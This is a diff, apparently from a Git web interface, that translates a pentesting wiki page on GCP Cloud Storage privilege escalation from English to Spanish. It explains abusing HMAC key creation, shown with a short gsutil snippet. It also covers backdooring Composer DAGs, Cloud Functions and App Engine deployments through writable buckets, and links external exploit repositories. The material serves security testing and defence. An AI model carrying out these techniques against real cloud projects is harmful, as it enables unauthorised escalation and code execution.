La función "interoperability" de Cloud Storage, diseñada para **cross-cloud interactions** como con AWS S3, implica la **creación de HMAC keys para Service Accounts y usuarios**. Un atacante puede explotarlo **generando una HMAC key para un Service Account con privilegios elevados**, lo que permite **escalar privilegios dentro de Cloud Storage**. Mientras que las HMAC keys asociadas a usuarios sólo son recuperables vía la web console, tanto las access como secret keys permanecen **perpetuamente accesibles**, permitiendo almacenar accesos de respaldo. En cambio, las HMAC keys vinculadas a Service Accounts son accesibles por API, pero sus access y secret keys no son recuperables tras la creación, añadiendo una capa de complejidad para el acceso continuo.
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
</details>
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
Otro script de exploit para este método puede encontrarse [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Permisos de escritura de Storage
|
||||
|
||||
In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object.
|
||||
Para **crear un nuevo objeto** dentro de un bucket necesitas `storage.objects.create` y, según [la docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), también necesitas `storage.objects.delete` para **modificar** un objeto existente.
|
||||
|
||||
A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application.
|
||||
Una explotación muy **común** de buckets donde puedes escribir en la nube es cuando el **bucket está guardando archivos de un servidor web**: podrías **almacenar nuevo código** que sea usado por la aplicación web.
|
||||
|
||||
### Composer
|
||||
|
||||
Composer is Apache Airflow managed inside GCP. It has several interesting features:
|
||||
**Composer** es **Apache Airflow** gestionado dentro de GCP. Tiene varias características interesantes:
|
||||
|
||||
- It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
|
||||
- All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
- Se ejecuta dentro de un **GKE cluster**, así que la **SA que usa el cluster es accesible** por el código que se ejecuta dentro de Composer.
|
||||
- Todos los componentes de un entorno de Composer (**código de los DAGs**, plugins y datos) se almacenan dentro de un bucket de GCP. Si el atacante tiene permisos de lectura y escritura sobre él, podría monitorizar el bucket y **siempre que se cree o actualice un DAG, subir una versión backdoored** para que el entorno de Composer obtenga desde Storage la versión backdoored.
|
||||
|
||||
You can find a PoC of this attack in the repo: [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**Puedes encontrar un PoC de este ataque en el repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
|
||||
- El código de Cloud Functions se almacena en Storage y cuando se crea una nueva versión el código se sube al bucket y luego se construye el nuevo contenedor a partir de ese código. Por lo tanto, **sobrescribiendo el código antes de que se construya la nueva versión es posible hacer que la Cloud Function ejecute código arbitrario**.
|
||||
|
||||
You can find a PoC of this attack in the repo: [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**Puedes encontrar un PoC de este ataque en el repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Inside this bucket, it's possible to find a folder called `ae` that will contain a folder per version of the AppEngine app and inside these folders it'll be possible to find the `manifest.json` file. This file contains a json with all the files that must be used to create the specific version. Moreover, it's possible to find the **real names of the files, the URL to them inside the GCP bucket (the files inside the bucket changed their name for their sha1 hash) and the sha1 hash of each file.**
|
||||
Las versiones de App Engine generan algunos datos dentro de un bucket con el formato de nombre: `staging.<project-id>.appspot.com`. Dentro de este bucket es posible encontrar una carpeta llamada `ae` que contendrá una carpeta por versión de la aplicación de App Engine y dentro de esas carpetas será posible encontrar el archivo `manifest.json`. Este archivo contiene un json con todos los archivos que deben usarse para crear la versión específica. Además, es posible encontrar **los nombres reales de los archivos, la URL a ellos dentro del bucket de GCP (los archivos dentro del bucket cambiaron su nombre por su hash sha1) y el hash sha1 de cada archivo.**
|
||||
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
_Note que no es posible realizar un pre-takeover de este bucket porque los usuarios de GCP no están autorizados a generar buckets usando el dominio appspot.com._
|
||||
|
||||
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the App Engine version by monitoring the bucket and any time a change is performed (new version), modify the new version as fast as possible. This way, the container that gets created from this code will execute the backdoored code.
|
||||
Sin embargo, con acceso de lectura y escritura sobre este bucket, es posible escalar privilegios a la SA adjunta a la versión de App Engine monitorizando el bucket y, cada vez que se realiza un cambio (nueva versión), modificar la nueva versión lo más rápido posible. De este modo, el contenedor que se cree a partir de ese código ejecutará el código backdoored.
|
||||
|
||||
The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging.<project-id>.appspot.com` bucket:
|
||||
El ataque mencionado puede realizarse de muchas maneras diferentes; todas empiezan monitorizando el bucket `staging.<project-id>.appspot.com`:
|
||||
|
||||
- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
|
||||
- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
|
||||
- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
|
||||
- Subir el código completo nuevo de la versión de App Engine a un bucket diferente y disponible y preparar un **`manifest.json` con el nombre del nuevo bucket y los hashes sha1 de los archivos**. Luego, cuando se cree una nueva versión dentro del bucket, solo necesitas modificar el `manifest.json` y subir el malicioso.
|
||||
- Subir una versión modificada de `requirements.txt` que use dependencias maliciosas y actualizar el `manifest.json` con el nuevo nombre de archivo, URL y su hash.
|
||||
- Subir un **`main.py` o `app.yaml` modificado que ejecute el código malicioso** y actualizar el `manifest.json` con el nuevo nombre de archivo, URL y su hash.
|
||||
|
||||
You can find a PoC of this attack in the repo: [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**Puedes encontrar un PoC de este ataque en el repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
|
||||
- The bucket used by GCR will have an URL similar to `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** almacena las imágenes dentro de buckets; si puedes **escribir en esos buckets** podrías **moverte lateralmente hacia donde se ejecutan esas imágenes.**
|
||||
- El bucket usado por GCR tendrá una URL similar a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Los subdominios de primer nivel están especificados [aquí](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
> Este servicio está obsoleto, así que este ataque ya no es útil. Además, Artifact Registry, el servicio que sustituye a este, no almacena las imágenes en buckets.
|
||||
|
||||
## **Referencias**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user